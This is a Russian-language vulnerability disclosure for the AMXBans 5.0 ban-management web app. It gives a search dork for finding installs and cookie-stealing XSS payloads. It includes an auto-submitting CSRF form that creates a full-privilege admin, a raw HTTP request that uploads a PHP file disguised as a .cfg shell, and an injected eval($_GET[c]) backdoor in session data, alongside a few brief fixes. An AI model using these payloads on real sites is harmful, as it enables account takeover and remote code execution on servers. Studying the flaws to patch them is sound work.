AMXBans 5.0 by YoMama/LuX & lantz69
Site: http://www.amxbans.net/
Dork: allinurl:ban_list.php amxbans
Папки доступные на запись:
include (скрипт сам создает конфиг, который располагается в этой папке)
smarty/templates_c (скомпиленные шаблоны смарти)
tmp (здесь сохраняются залитые на сервак списки банов)
XSS
/unavailable.php?message=%3Csсriрt%3Ealert(document.cookie)%3C/sсriрt%3E
Необходимо: register_globals = On
if ($_GET['msg'] == "frontend_disabled") {
$message = lang("_ERRORAMXBANSDISABLED");
} else if ($_GET['msg'] == "setupfile_exists") {
$message = lang("_ERRORSETUPPHP");
} else if ($_GET['msg'] == "magicquotes_off") {
$message = lang("_ERRORMAGICQUOTES");
}
//...
$smarty->assign("message",$message);
Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Csсriрt%3Ealert(document.cookie)%3C/sсriрt%3E
XSS (активная)
/login.php?uid=%3Csсriрt%3Ealert(/xss/)%3C/sсriрt%3E
/admin/log_search.php
Необходимо: register_globals = On
if(isset($_POST['uid'])){
$_POST['uid'] = secure($_POST['uid']);
}
//...
if (isset($_POST['uid'])) {
$uid = $_POST['uid'];
} else if ( isset($_SESSION['uid']) ){
$uid = $_SESSION['uid'];
}
//...
$add_log = mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error());
Метод устранения:
В начала файла include/functions.lang.php дописать
function regGlobOff($array) {
foreach($array as $k => $v) {
unset($GLOBALS[$k]);
}
}
error_reporting(0);
regGlobOff($_POST);
regGlobOff($_GET);
regGlobOff($_COOKIE);
Path disclosure
Практически в каждом файле:
// Start session
session_start();
Вставляем в идентификатор сессии запрещенные символы и получаем
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /Library/WebServer/test/amxbans/ban_list.php on line 46
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46
Метод устранения:
В каждом скрипте перед session_start поставить оператор подавления ошибок @
CSRF
Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
<body onload="document.forms.admins.submit()">
<form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
<input type='hidden' name='sektion' value='webadmins'>
<input type='text' name='username' value="test">
<input type='text' name='password' value="test">
<input type='text' name='level' value='1'>
<input type='hidden' name='action' value="insert">
</form>
Метод устранения:
Добавить следующий код, например в include/accesscontrol.inc.php
if( $_SERVER['REQUEST_METHOD'] == 'POST')
if(!preg_match('!^http(s)?://' . preg_quote($_SERVER['HTTP_HOST']) . '!i', $_SERVER['HTTP_REFERER']))
exit;
Заливка шелла
/admin/import_bans.php
Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
Пример:
$nc localhost 80
POST /amxbans/admin/import_bans.php HTTP/1.1
User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
Host: test
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://test/amxbans/admin/import_bans.php
Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
Cookie2: $Version=1
Connection: Close
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 566
Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS-------VOiPkDnr0wuySS
Content-Disposition: form-data; name="submitted"true
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
Content-Type: text/plain<?php phpinfo(); ?>
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_reason"------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_length"------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="importit"import
------------sLuN8T5jVOiPkDnr0wuySS--
Таблицы:
amx_admins_servers
amx_amxadmins
amx_banhistory
amx_banreasons
amx_bans
amx_levels
amx_logs
amx_serverinfo
amx_webadmins (id, username, password, level, logcode) //password = md5 хеш
Cookies:
Ставится 1 кука с именем amxbans. Ее содержимое: oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3Ac2b6a0f098280fc8f4795e33b58a77ed%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes
$cook = explode(":", $_COOKIE["amxbans"]);
$uid = $cook[0];
$pwd = $cook[1];
$lvl = $cook[2];
$uip = $cook[3];
$logcode = $cook[4];
$bans_add = $cook[5];
$bans_edit = $cook[6];
$bans_delete = $cook[7];
$bans_unban = $cook[8];
$bans_import = $cook[9];
$bans_export = $cook[10];
$amxadmins_view = $cook[11];
$amxadmins_edit = $cook[12];
$webadmins_view = $cook[13];
$webadmins_edit = $cook[14];
$permissions_edit = $cook[15];
$prune_db = $cook[16];
$servers_edit = $cook[17];
$ip_view = $cook[18];
В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
Получим:
lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;
AMXBans работает только c magic_quotes = On !